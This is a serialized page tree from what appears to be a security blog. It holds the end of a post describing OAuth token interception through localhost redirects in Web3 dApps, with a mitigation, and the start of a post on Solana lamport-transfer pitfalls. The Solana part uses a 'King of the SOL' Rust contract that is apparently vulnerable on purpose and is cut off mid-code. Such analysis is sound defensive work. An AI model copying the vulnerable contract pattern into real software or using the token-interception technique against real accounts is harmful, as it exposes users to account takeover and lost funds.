",{"type":23,"tag":134,"props":70608,"children":70609},{"style":168},[70610],{"type":28,"value":257},{"type":23,"tag":134,"props":70612,"children":70613},{"style":151},[70614],{"type":28,"value":11936},{"type":23,"tag":134,"props":70616,"children":70617},{"style":179},[70618],{"type":28,"value":329},{"type":23,"tag":134,"props":70620,"children":70621},{"class":136,"line":23257},[70622],{"type":23,"tag":134,"props":70623,"children":70624},{"style":179},[70625],{"type":28,"value":533},{"type":23,"tag":134,"props":70627,"children":70628},{"class":136,"line":23265},[70629],{"type":23,"tag":134,"props":70630,"children":70631},{"style":179},[70632],{"type":28,"value":1098},{"type":23,"tag":24,"props":70634,"children":70635},{},[70636],{"type":28,"value":70637},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":23,"tag":24,"props":70639,"children":70640},{},[70641],{"type":28,"value":70642},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":23,"tag":9072,"props":70644,"children":70646},{"id":70645},"mitigation-1",[70647],{"type":28,"value":39835},{"type":23,"tag":24,"props":70649,"children":70650},{},[70651,70653,70658],{"type":28,"value":70652},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":23,"tag":92,"props":70654,"children":70656},{"className":70655},[],[70657],{"type":28,"value":69275},{"type":28,"value":70659}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":23,"tag":61,"props":70661,"children":70662},{"id":28425},[70663],{"type":28,"value":18423},{"type":23,"tag":24,"props":70665,"children":70666},{},[70667],{"type":28,"value":70668},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":23,"tag":24,"props":70670,"children":70671},{},[70672],{"type":28,"value":70673},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":23,"tag":2575,"props":70675,"children":70676},{},[70677],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":70679},[70680,70687,70692,70695],{"id":69043,"depth":147,"text":69046,"children":70681},[70682,70683,70684,70685,70686],{"id":69054,"depth":185,"text":69057},{"id":69081,"depth":185,"text":69084},{"id":69142,"depth":185,"text":69145},{"id":69199,"depth":185,"text":69202},{"id":69298,"depth":185,"text":69301},{"id":69344,"depth":147,"text":69347,"children":70688},[70689,70690,70691],{"id":69350,"depth":185,"text":69353},{"id":69377,"depth":185,"text":69380},{"id":39832,"depth":185,"text":39835},{"id":69826,"depth":147,"text":69829,"children":70693},[70694],{"id":70645,"depth":185,"text":39835},{"id":28425,"depth":147,"text":18423},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":70700,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":70701,"description":70702,"author":39951,"image":70703,"date":70705,"isFeatured":15,"tags":70706,"onBlogPage":15,"body":70707,"_type":2586,"_id":75361,"_source":2588,"_file":75362,"_stem":75363,"_extension":2591},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":70704,"height":13091,"width":13091},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[17],{"type":20,"children":70708,"toc":75350},[70709,70713,70718,70732,70738,70743,70773,70778,70783,71821,71826,71834,71839,71845,71851,71863,71896,71908,71921,71933,72378,72383,72429,72435,72440,72527,72532,72546,72559,73222,73227,73239,73245,73256,73268,73422,73436,73455,73476,73482,73487,73832,73837,73843,73862,73876,74498,74503,74523,74528,74533,74539,74551,74572,74747,74753,74758,75059,75080,75092,75104,75188,75208,75220,75226,75238,75244,75249,75272,75284,75290,75302,75307,75313,75318,75323,75341,75346],{"type":23,"tag":61,"props":70710,"children":70711},{"id":28508},[70712],{"type":28,"value":28511},{"type":23,"tag":24,"props":70714,"children":70715},{},[70716],{"type":28,"value":70717},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":23,"tag":24,"props":70719,"children":70720},{},[70721,70723,70730],{"type":28,"value":70722},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":23,"tag":31,"props":70724,"children":70727},{"href":70725,"rel":70726},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[35],[70728],{"type":28,"value":70729},"King of the Ether",{"type":28,"value":70731},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":23,"tag":61,"props":70733,"children":70735},{"id":70734},"the-game-king-of-the-sol",[70736],{"type":28,"value":70737},"The Game: King of the SOL",{"type":23,"tag":24,"props":70739,"children":70740},{},[70741],{"type":28,"value":70742},"The game works like this:",{"type":23,"tag":16158,"props":70744,"children":70745},{},[70746,70758,70763,70768],{"type":23,"tag":4894,"props":70747,"children":70748},{},[70749,70751,70756],{"type":28,"value":70750},"Anyone can become the ",{"type":23,"tag":2532,"props":70752,"children":70753},{},[70754],{"type":28,"value":70755},"king",{"type":28,"value":70757}," by bidding at least 2× the previous bid.",{"type":23,"tag":4894,"props":70759,"children":70760},{},[70761],{"type":28,"value":70762},"The old king is reimbursed 95% of their bid.",{"type":23,"tag":4894,"props":70764,"children":70765},{},[70766],{"type":28,"value":70767},"The remaining 5% goes into a prize pot.",{"type":23,"tag":4894,"props":70769,"children":70770},{},[70771],{"type":28,"value":70772},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":23,"tag":24,"props":70774,"children":70775},{},[70776],{"type":28,"value":70777},"Simple, right?",{"type":23,"tag":24,"props":70779,"children":70780},{},[70781],{"type":28,"value":70782},"This is the core logic:",{"type":23,"tag":87,"props":70784,"children":70786},{"className":128,"code":70785,"language":127,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[70787],{"type":23,"tag":92,"props":70788,"children":70789},{"__ignoreMap":7},[70790,70805,70833,70848,70889,70896,70904,70955,70986,70993,71001,71016,71048,71055,71070,71101,71108,71115,71123,71140,71214,71222,71283,71295,71323,71363,71375,71391,71398,71406,71480,71492,71531,71559,71571,71586,71593,71601,71671,71715,71789,71796,71807,71814],{"type":23,"tag":134,"props":70791,"children":70792},{"class":136,"line":137},[70793,70797,70801],{"type":23,"tag":134,"props":70794,"children":70795},{"style":179},[70796],{"type":28,"value":22316},{"type":23,"tag":134,"props":70798,"children":70799},{"style":597},[70800],{"type":28,"value":22321},{"type":23,"tag":134,"props":70802,"children":70803},{"style":179},[70804],{"type":28,"value":19736},{"type":23,"tag":134,"props":70806,"children":70807},{"class":136,"line":147},[70808,70812,70816,70821,70825,70829],{"type":23,"tag":134,"props":70809,"children":70810},{"style":151},[70811],{"type":28,"value":13158},{"type":23,"tag":134,"props":70813,"children":70814},{"style":151},[70815],{"type":28,"value":20629},{"type":23,"tag":134,"props":70817,"children":70818},{"style":597},[70819],{"type":28,"value":70820}," ChangeKing",{"type":23,"tag":134,"props":70822,"children":70823},{"style":179},[70824],{"type":28,"value":22401},{"type":23,"tag":134,"props":70826,"children":70827},{"style":597},[70828],{"type":28,"value":22406},{"type":23,"tag":134,"props":70830,"children":70831},{"style":179},[70832],{"type":28,"value":6739},{"type":23,"tag":134,"props":70834,"children":70835},{"class":136,"line":185},[70836,70840,70844],{"type":23,"tag":134,"props":70837,"children":70838},{"style":179},[70839],{"type":28,"value":22608},{"type":23,"tag":134,"props":70841,"children":70842},{"style":151},[70843],{"type":28,"value":914},{"type":23,"tag":134,"props":70845,"children":70846},{"style":179},[70847],{"type":28,"value":19736},{"type":23,"tag":134,"props":70849,"children":70850},{"class":136,"line":221},[70851,70855,70860,70864,70868,70872,70876,70880,70885],{"type":23,"tag":134,"props":70852,"children":70853},{"style":151},[70854],{"type":28,"value":20321},{"type":23,"tag":134,"props":70856,"children":70857},{"style":162},[70858],{"type":28,"value":70859}," throne",{"type":23,"tag":134,"props":70861,"children":70862},{"style":168},[70863],{"type":28,"value":1697},{"type":23,"tag":134,"props":70865,"children":70866},{"style":597},[70867],{"type":28,"value":22573},{"type":23,"tag":134,"props":70869,"children":70870},{"style":179},[70871],{"type":28,"value":22401},{"type":23,"tag":134,"props":70873,"children":70874},{"style":597},[70875],{"type":28,"value":22406},{"type":23,"tag":134,"props":70877,"children":70878},{"style":179},[70879],{"type":28,"value":242},{"type":23,"tag":134,"props":70881,"children":70882},{"style":597},[70883],{"type":28,"value":70884},"Throne",{"type":23,"tag":134,"props":70886,"children":70887},{"style":179},[70888],{"type":28,"value":5595},{"type":23,"tag":134,"props":70890,"children":70891},{"class":136,"line":332},[70892],{"type":23,"tag":134,"props":70893,"children":70894},{"emptyLinePlaceholder":15},[70895],{"type":28,"value":865},{"type":23,"tag":134,"props":70897,"children":70898},{"class":136,"line":438},[70899],{"type":23,"tag":134,"props":70900,"children":70901},{"style":141},[70902],{"type":28,"value":70903},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":23,"tag":134,"props":70905,"children":70906},{"class":136,"line":466},[70907,70911,70915,70920,70924,70929,70933,70938,70942,70946,70950],{"type":23,"tag":134,"props":70908,"children":70909},{"style":179},[70910],{"type":28,"value":22608},{"type":23,"tag":134,"props":70912,"children":70913},{"style":151},[70914],{"type":28,"value":914},{"type":23,"tag":134,"props":70916,"children":70917},{"style":179},[70918],{"type":28,"value":70919},", constraint ",{"type":23,"tag":134,"props":70921,"children":70922},{"style":168},[70923],{"type":28,"value":257},{"type":23,"tag":134,"props":70925,"children":70926},{"style":179},[70927],{"type":28,"value":70928}," old_king",{"type":23,"tag":134,"props":70930,"children":70931},{"style":168},[70932],{"type":28,"value":720},{"type":23,"tag":134,"props":70934,"children":70935},{"style":179},[70936],{"type":28,"value":70937},"key() ",{"type":23,"tag":134,"props":70939,"children":70940},{"style":168},[70941],{"type":28,"value":8035},{"type":23,"tag":134,"props":70943,"children":70944},{"style":179},[70945],{"type":28,"value":70859},{"type":23,"tag":134,"props":70947,"children":70948},{"style":168},[70949],{"type":28,"value":720},{"type":23,"tag":134,"props":70951,"children":70952},{"style":179},[70953],{"type":28,"value":70954},"king)]\n",{"type":23,"tag":134,"props":70956,"children":70957},{"class":136,"line":479},[70958,70962,70966,70970,70974,70978,70982],{"type":23,"tag":134,"props":70959,"children":70960},{"style":151},[70961],{"type":28,"value":20321},{"type":23,"tag":134,"props":70963,"children":70964},{"style":162},[70965],{"type":28,"value":70928},{"type":23,"tag":134,"props":70967,"children":70968},{"style":168},[70969],{"type":28,"value":1697},{"type":23,"tag":134,"props":70971,"children":70972},{"style":597},[70973],{"type":28,"value":24889},{"type":23,"tag":134,"props":70975,"children":70976},{"style":179},[70977],{"type":28,"value":22401},{"type":23,"tag":134,"props":70979,"children":70980},{"style":597},[70981],{"type":28,"value":22406},{"type":23,"tag":134,"props":70983,"children":70984},{"style":179},[70985],{"type":28,"value":5595},{"type":23,"tag":134,"props":70987,"children":70988},{"class":136,"line":497},[70989],{"type":23,"tag":134,"props":70990,"children":70991},{"emptyLinePlaceholder":15},[70992],{"type":28,"value":865},{"type":23,"tag":134,"props":70994,"children":70995},{"class":136,"line":518},[70996],{"type":23,"tag":134,"props":70997,"children":70998},{"style":141},[70999],{"type":28,"value":71000},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":23,"tag":134,"props":71002,"children":71003},{"class":136,"line":527},[71004,71008,71012],{"type":23,"tag":134,"props":71005,"children":71006},{"style":179},[71007],{"type":28,"value":22608},{"type":23,"tag":134,"props":71009,"children":71010},{"style":151},[71011],{"type":28,"value":914},{"type":23,"tag":134,"props":71013,"children":71014},{"style":179},[71015],{"type":28,"value":19736},{"type":23,"tag":134,"props":71017,"children":71018},{"class":136,"line":780},[71019,71023,71028,71032,71036,71040,71044],{"type":23,"tag":134,"props":71020,"children":71021},{"style":151},[71022],{"type":28,"value":20321},{"type":23,"tag":134,"props":71024,"children":71025},{"style":162},[71026],{"type":28,"value":71027}," new_king",{"type":23,"tag":134,"props":71029,"children":71030},{"style":168},[71031],{"type":28,"value":1697},{"type":23,"tag":134,"props":71033,"children":71034},{"style":597},[71035],{"type":28,"value":24889},{"type":23,"tag":134,"props":71037,"children":71038},{"style":179},[71039],{"type":28,"value":22401},{"type":23,"tag":134,"props":71041,"children":71042},{"style":597},[71043],{"type":28,"value":22406},{"type":23,"tag":134,"props":71045,"children":71046},{"style":179},[71047],{"type":28,"value":5595},{"type":23,"tag":134,"props":71049,"children":71050},{"class":136,"line":797},[71051],{"type":23,"tag":134,"props":71052,"children":71053},{"emptyLinePlaceholder":15},[71054],{"type":28,"value":865},{"type":23,"tag":134,"props":71056,"children":71057},{"class":136,"line":814},[71058,71062,71066],{"type":23,"tag":134,"props":71059,"children":71060},{"style":179},[71061],{"type":28,"value":22608},{"type":23,"tag":134,"props":71063,"children":71064},{"style":151},[71065],{"type":28,"value":914},{"type":23,"tag":134,"props":71067,"children":71068},{"style":179},[71069],{"type":28,"value":19736},{"type":23,"tag":134,"props":71071,"children":71072},{"class":136,"line":827},[71073,71077,71081,71085,71089,71093,71097],{"type":23,"tag":134,"props":71074,"children":71075},{"style":151},[71076],{"type":28,"value":20321},{"type":23,"tag":134,"props":71078,"children":71079},{"style":162},[71080],{"type":28,"value":41741},{"type":23,"tag":134,"props":71082,"children":71083},{"style":168},[71084],{"type":28,"value":1697},{"type":23,"tag":134,"props":71086,"children":71087},{"style":597},[71088],{"type":28,"value":22637},{"type":23,"tag":134,"props":71090,"children":71091},{"style":179},[71092],{"type":28,"value":22401},{"type":23,"tag":134,"props":71094,"children":71095},{"style":597},[71096],{"type":28,"value":22406},{"type":23,"tag":134,"props":71098,"children":71099},{"style":179},[71100],{"type":28,"value":5595},{"type":23,"tag":134,"props":71102,"children":71103},{"class":136,"line":836},[71104],{"type":23,"tag":134,"props":71105,"children":71106},{"style":179},[71107],{"type":28,"value":1098},{"type":23,"tag":134,"props":71109,"children":71110},{"class":136,"line":859},[71111],{"type":23,"tag":134,"props":71112,"children":71113},{"emptyLinePlaceholder":15},[71114],{"type":28,"value":865},{"type":23,"tag":134,"props":71116,"children":71117},{"class":136,"line":868},[71118],{"type":23,"tag":134,"props":71119,"children":71120},{"style":179},[71121],{"type":28,"value":71122},"#[program]\n",{"type":23,"tag":134,"props":71124,"children":71125},{"class":136,"line":877},[71126,71130,71135],{"type":23,"tag":134,"props":71127,"children":71128},{"style":151},[71129],{"type":28,"value":13158},{"type":23,"tag":134,"props":71131,"children":71132},{"style":151},[71133],{"type":28,"value":71134}," mod",{"type":23,"tag":134,"props":71136,"children":71137},{"style":179},[71138],{"type":28,"value":71139}," king_of_the_sol {\n",{"type":23,"tag":134,"props":71141,"children":71142},{"class":136,"line":946},[71143,71147,71151,71156,71160,71164,71168,71172,71176,71181,71185,71190,71194,71198,71202,71206,71210],{"type":23,"tag":134,"props":71144,"children":71145},{"style":151},[71146],{"type":28,"value":20321},{"type":23,"tag":134,"props":71148,"children":71149},{"style":151},[71150],{"type":28,"value":13163},{"type":23,"tag":134,"props":71152,"children":71153},{"style":264},[71154],{"type":28,"value":71155}," change_king",{"type":23,"tag":134,"props":71157,"children":71158},{"style":179},[71159],{"type":28,"value":272},{"type":23,"tag":134,"props":71161,"children":71162},{"style":162},[71163],{"type":28,"value":19758},{"type":23,"tag":134,"props":71165,"children":71166},{"style":168},[71167],{"type":28,"value":1697},{"type":23,"tag":134,"props":71169,"children":71170},{"style":597},[71171],{"type":28,"value":19767},{"type":23,"tag":134,"props":71173,"children":71174},{"style":179},[71175],{"type":28,"value":5262},{"type":23,"tag":134,"props":71177,"children":71178},{"style":597},[71179],{"type":28,"value":71180},"ChangeKing",{"type":23,"tag":134,"props":71182,"children":71183},{"style":179},[71184],{"type":28,"value":6088},{"type":23,"tag":134,"props":71186,"children":71187},{"style":162},[71188],{"type":28,"value":71189},"bid_amount",{"type":23,"tag":134,"props":71191,"children":71192},{"style":168},[71193],{"type":28,"value":1697},{"type":23,"tag":134,"props":71195,"children":71196},{"style":597},[71197],{"type":28,"value":5316},{"type":23,"tag":134,"props":71199,"children":71200},{"style":179},[71201],{"type":28,"value":252},{"type":23,"tag":134,"props":71203,"children":71204},{"style":168},[71205],{"type":28,"value":13225},{"type":23,"tag":134,"props":71207,"children":71208},{"style":597},[71209],{"type":28,"value":13230},{"type":23,"tag":134,"props":71211,"children":71212},{"style":179},[71213],{"type":28,"value":19809},{"type":23,"tag":134,"props":71215,"children":71216},{"class":136,"line":954},[71217],{"type":23,"tag":134,"props":71218,"children":71219},{"style":141},[71220],{"type":28,"value":71221},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":23,"tag":134,"props":71223,"children":71224},{"class":136,"line":984},[71225,71229,71233,71237,71241,71245,71249,71253,71257,71262,71266,71271,71275,71279],{"type":23,"tag":134,"props":71226,"children":71227},{"style":264},[71228],{"type":28,"value":63956},{"type":23,"tag":134,"props":71230,"children":71231},{"style":179},[71232],{"type":28,"value":272},{"type":23,"tag":134,"props":71234,"children":71235},{"style":162},[71236],{"type":28,"value":71189},{"type":23,"tag":134,"props":71238,"children":71239},{"style":168},[71240],{"type":28,"value":7761},{"type":23,"tag":134,"props":71242,"children":71243},{"style":162},[71244],{"type":28,"value":25334},{"type":23,"tag":134,"props":71246,"children":71247},{"style":168},[71248],{"type":28,"value":720},{"type":23,"tag":134,"props":71250,"children":71251},{"style":179},[71252],{"type":28,"value":14143},{"type":23,"tag":134,"props":71254,"children":71255},{"style":168},[71256],{"type":28,"value":720},{"type":23,"tag":134,"props":71258,"children":71259},{"style":179},[71260],{"type":28,"value":71261},"throne",{"type":23,"tag":134,"props":71263,"children":71264},{"style":168},[71265],{"type":28,"value":720},{"type":23,"tag":134,"props":71267,"children":71268},{"style":179},[71269],{"type":28,"value":71270},"last_bid_amount ",{"type":23,"tag":134,"props":71272,"children":71273},{"style":168},[71274],{"type":28,"value":1777},{"type":23,"tag":134,"props":71276,"children":71277},{"style":205},[71278],{"type":28,"value":7393},{"type":23,"tag":134,"props":71280,"children":71281},{"style":179},[71282],{"type":28,"value":1021},{"type":23,"tag":134,"props":71284,"children":71285},{"class":136,"line":992},[71286,71291],{"type":23,"tag":134,"props":71287,"children":71288},{"style":264},[71289],{"type":28,"value":71290},"        transfer_from_signer",{"type":23,"tag":134,"props":71292,"children":71293},{"style":179},[71294],{"type":28,"value":642},{"type":23,"tag":134,"props":71296,"children":71297},{"class":136,"line":1024},[71298,71302,71306,71310,71314,71318],{"type":23,"tag":134,"props":71299,"children":71300},{"style":168},[71301],{"type":28,"value":7143},{"type":23,"tag":134,"props":71303,"children":71304},{"style":162},[71305],{"type":28,"value":19758},{"type":23,"tag":134,"props":71307,"children":71308},{"style":168},[71309],{"type":28,"value":720},{"type":23,"tag":134,"props":71311,"children":71312},{"style":179},[71313],{"type":28,"value":14143},{"type":23,"tag":134,"props":71315,"children":71316},{"style":168},[71317],{"type":28,"value":720},{"type":23,"tag":134,"props":71319,"children":71320},{"style":179},[71321],{"type":28,"value":71322},"payer,\n",{"type":23,"tag":134,"props":71324,"children":71325},{"class":136,"line":1032},[71326,71330,71334,71338,71342,71346,71350,71354,71359],{"type":23,"tag":134,"props":71327,"children":71328},{"style":168},[71329],{"type":28,"value":7143},{"type":23,"tag":134,"props":71331,"children":71332},{"style":162},[71333],{"type":28,"value":19758},{"type":23,"tag":134,"props":71335,"children":71336},{"style":168},[71337],{"type":28,"value":720},{"type":23,"tag":134,"props":71339,"children":71340},{"style":179},[71341],{"type":28,"value":14143},{"type":23,"tag":134,"props":71343,"children":71344},{"style":168},[71345],{"type":28,"value":720},{"type":23,"tag":134,"props":71347,"children":71348},{"style":179},[71349],{"type":28,"value":71261},{"type":23,"tag":134,"props":71351,"children":71352},{"style":168},[71353],{"type":28,"value":720},{"type":23,"tag":134,"props":71355,"children":71356},{"style":264},[71357],{"type":28,"value":71358},"to_account_info",{"type":23,"tag":134,"props":71360,"children":71361},{"style":179},[71362],{"type":28,"value":670},{"type":23,"tag":134,"props":71364,"children":71365},{"class":136,"line":1092},[71366,71371],{"type":23,"tag":134,"props":71367,"children":71368},{"style":162},[71369],{"type":28,"value":71370},"            bid_amount",{"type":23,"tag":134,"props":71372,"children":71373},{"style":179},[71374],{"type":28,"value":687},{"type":23,"tag":134,"props":71376,"children":71377},{"class":136,"line":8508},[71378,71383,71387],{"type":23,"tag":134,"props":71379,"children":71380},{"style":179},[71381],{"type":28,"value":71382},"        )",{"type":23,"tag":134,"props":71384,"children":71385},{"style":168},[71386],{"type":28,"value":324},{"type":23,"tag":134,"props":71388,"children":71389},{"style":179},[71390],{"type":28,"value":182},{"type":23,"tag":134,"props":71392,"children":71393},{"class":136,"line":8526},[71394],{"type":23,"tag":134,"props":71395,"children":71396},{"emptyLinePlaceholder":15},[71397],{"type":28,"value":865},{"type":23,"tag":134,"props":71399,"children":71400},{"class":136,"line":8571},[71401],{"type":23,"tag":134,"props":71402,"children":71403},{"style":141},[71404],{"type":28,"value":71405},"        // Reimburse 95% of the last bid to the old king\n",{"type":23,"tag":134,"props":71407,"children":71408},{"class":136,"line":8677},[71409,71413,71418,71422,71426,71430,71434,71438,71442,71446,71450,71454,71458,71463,71467,71471,71476],{"type":23,"tag":134,"props":71410,"children":71411},{"style":151},[71412],{"type":28,"value":227},{"type":23,"tag":134,"props":71414,"children":71415},{"style":162},[71416],{"type":28,"value":71417}," to_reimburse",{"type":23,"tag":134,"props":71419,"children":71420},{"style":168},[71421],{"type":28,"value":171},{"type":23,"tag":134,"props":71423,"children":71424},{"style":179},[71425],{"type":28,"value":232},{"type":23,"tag":134,"props":71427,"children":71428},{"style":162},[71429],{"type":28,"value":19758},{"type":23,"tag":134,"props":71431,"children":71432},{"style":168},[71433],{"type":28,"value":720},{"type":23,"tag":134,"props":71435,"children":71436},{"style":179},[71437],{"type":28,"value":14143},{"type":23,"tag":134,"props":71439,"children":71440},{"style":168},[71441],{"type":28,"value":720},{"type":23,"tag":134,"props":71443,"children":71444},{"style":179},[71445],{"type":28,"value":71261},{"type":23,"tag":134,"props":71447,"children":71448},{"style":168},[71449],{"type":28,"value":720},{"type":23,"tag":134,"props":71451,"children":71452},{"style":179},[71453],{"type":28,"value":71270},{"type":23,"tag":134,"props":71455,"children":71456},{"style":168},[71457],{"type":28,"value":1777},{"type":23,"tag":134,"props":71459,"children":71460},{"style":205},[71461],{"type":28,"value":71462}," 9500",{"type":23,"tag":134,"props":71464,"children":71465},{"style":179},[71466],{"type":28,"value":252},{"type":23,"tag":134,"props":71468,"children":71469},{"style":168},[71470],{"type":28,"value":1787},{"type":23,"tag":134,"props":71472,"children":71473},{"style":205},[71474],{"type":28,"value":71475}," 10000",{"type":23,"tag":134,"props":71477,"children":71478},{"style":179},[71479],{"type":28,"value":182},{"type":23,"tag":134,"props":71481,"children":71482},{"class":136,"line":22988},[71483,71488],{"type":23,"tag":134,"props":71484,"children":71485},{"style":264},[71486],{"type":28,"value":71487},"        transfer_from_pda",{"type":23,"tag":134,"props":71489,"children":71490},{"style":179},[71491],{"type":28,"value":642},{"type":23,"tag":134,"props":71493,"children":71494},{"class":136,"line":23023},[71495,71499,71503,71507,71511,71515,71519,71523,71527],{"type":23,"tag":134,"props":71496,"children":71497},{"style":168},[71498],{"type":28,"value":7143},{"type":23,"tag":134,"props":71500,"children":71501},{"style":162},[71502],{"type":28,"value":19758},{"type":23,"tag":134,"props":71504,"children":71505},{"style":168},[71506],{"type":28,"value":720},{"type":23,"tag":134,"props":71508,"children":71509},{"style":179},[71510],{"type":28,"value":14143},{"type":23,"tag":134,"props":71512,"children":71513},{"style":168},[71514],{"type":28,"value":720},{"type":23,"tag":134,"props":71516,"children":71517},{"style":179},[71518],{"type":28,"value":71261},{"type":23,"tag":134,"props":71520,"children":71521},{"style":168},[71522],{"type":28,"value":720},{"type":23,"tag":134,"props":71524,"children":71525},{"style":264},[71526],{"type":28,"value":71358},{"type":23,"tag":134,"props":71528,"children":71529},{"style":179},[71530],{"type":28,"value":670},{"type":23,"tag":134,"props":71532,"children":71533},{"class":136,"line":23031},[71534,71538,71542,71546,71550,71554],{"type":23,"tag":134,"props":71535,"children":71536},{"style":168},[71537],{"type":28,"value":7143},{"type":23,"tag":134,"props":71539,"children":71540},{"style":162},[71541],{"type":28,"value":19758},{"type":23,"tag":134,"props":71543,"children":71544},{"style":168},[71545],{"type":28,"value":720},{"type":23,"tag":134,"props":71547,"children":71548},{"style":179},[71549],{"type":28,"value":14143},{"type":23,"tag":134,"props":71551,"children":71552},{"style":168},[71553],{"type":28,"value":720},{"type":23,"tag":134,"props":71555,"children":71556},{"style":179},[71557],{"type":28,"value":71558},"old_king,\n",{"type":23,"tag":134,"props":71560,"children":71561},{"class":136,"line":23039},[71562,71567],{"type":23,"tag":134,"props":71563,"children":71564},{"style":162},[71565],{"type":28,"value":71566},"            to_reimburse",{"type":23,"tag":134,"props":71568,"children":71569},{"style":179},[71570],{"type":28,"value":687},{"type":23,"tag":134,"props":71572,"children":71573},{"class":136,"line":23048},[71574,71578,71582],{"type":23,"tag":134,"props":71575,"children":71576},{"style":179},[71577],{"type":28,"value":71382},{"type":23,"tag":134,"props":71579,"children":71580},{"style":168},[71581],{"type":28,"value":324},{"type":23,"tag":134,"props":71583,"children":71584},{"style":179},[71585],{"type":28,"value":182},{"type":23,"tag":134,"props":71587,"children":71588},{"class":136,"line":23090},[71589],{"type":23,"tag":134,"props":71590,"children":71591},{"emptyLinePlaceholder":15},[71592],{"type":28,"value":865},{"type":23,"tag":134,"props":71594,"children":71595},{"class":136,"line":23123},[71596],{"type":23,"tag":134,"props":71597,"children":71598},{"style":141},[71599],{"type":28,"value":71600},"        // Set new king\n",{"type":23,"tag":134,"props":71602,"children":71603},{"class":136,"line":23131},[71604,71608,71612,71616,71620,71624,71628,71633,71637,71641,71645,71649,71653,71658,71662,71667],{"type":23,"tag":134,"props":71605,"children":71606},{"style":162},[71607],{"type":28,"value":25677},{"type":23,"tag":134,"props":71609,"children":71610},{"style":168},[71611],{"type":28,"value":720},{"type":23,"tag":134,"props":71613,"children":71614},{"style":179},[71615],{"type":28,"value":14143},{"type":23,"tag":134,"props":71617,"children":71618},{"style":168},[71619],{"type":28,"value":720},{"type":23,"tag":134,"props":71621,"children":71622},{"style":179},[71623],{"type":28,"value":71261},{"type":23,"tag":134,"props":71625,"children":71626},{"style":168},[71627],{"type":28,"value":720},{"type":23,"tag":134,"props":71629,"children":71630},{"style":179},[71631],{"type":28,"value":71632},"king ",{"type":23,"tag":134,"props":71634,"children":71635},{"style":168},[71636],{"type":28,"value":257},{"type":23,"tag":134,"props":71638,"children":71639},{"style":162},[71640],{"type":28,"value":25334},{"type":23,"tag":134,"props":71642,"children":71643},{"style":168},[71644],{"type":28,"value":720},{"type":23,"tag":134,"props":71646,"children":71647},{"style":179},[71648],{"type":28,"value":14143},{"type":23,"tag":134,"props":71650,"children":71651},{"style":168},[71652],{"type":28,"value":720},{"type":23,"tag":134,"props":71654,"children":71655},{"style":179},[71656],{"type":28,"value":71657},"new_king",{"type":23,"tag":134,"props":71659,"children":71660},{"style":168},[71661],{"type":28,"value":720},{"type":23,"tag":134,"props":71663,"children":71664},{"style":264},[71665],{"type":28,"value":71666},"key",{"type":23,"tag":134,"props":71668,"children":71669},{"style":179},[71670],{"type":28,"value":856},{"type":23,"tag":134,"props":71672,"children":71673},{"class":136,"line":23139},[71674,71678,71682,71686,71690,71694,71698,71702,71706,71711],{"type":23,"tag":134,"props":71675,"children":71676},{"style":162},[71677],{"type":28,"value":25677},{"type":23,"tag":134,"props":71679,"children":71680},{"style":168},[71681],{"type":28,"value":720},{"type":23,"tag":134,"props":71683,"children":71684},{"style":179},[71685],{"type":28,"value":14143},{"type":23,"tag":134,"props":71687,"children":71688},{"style":168},[71689],{"type":28,"value":720},{"type":23,"tag":134,"props":71